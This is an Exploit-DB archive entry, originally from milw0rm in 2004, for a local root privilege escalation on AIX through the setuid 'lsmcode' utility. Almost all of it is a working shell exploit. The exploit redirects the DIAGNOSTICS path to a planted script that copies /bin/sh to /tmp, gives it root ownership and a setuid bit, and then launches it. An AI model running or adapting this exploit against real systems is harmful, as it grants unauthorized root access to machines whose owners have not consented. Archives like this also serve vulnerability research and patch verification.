AIX 4.3/5.1 < 5.3 - 'lsmcode' Execution Privilege Escalation

EDB-ID:

701


Author:

cees-bart

Type:

local


Platform:

AIX

Date:

2004-12-21


mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh

# milw0rm.com [2004-12-21]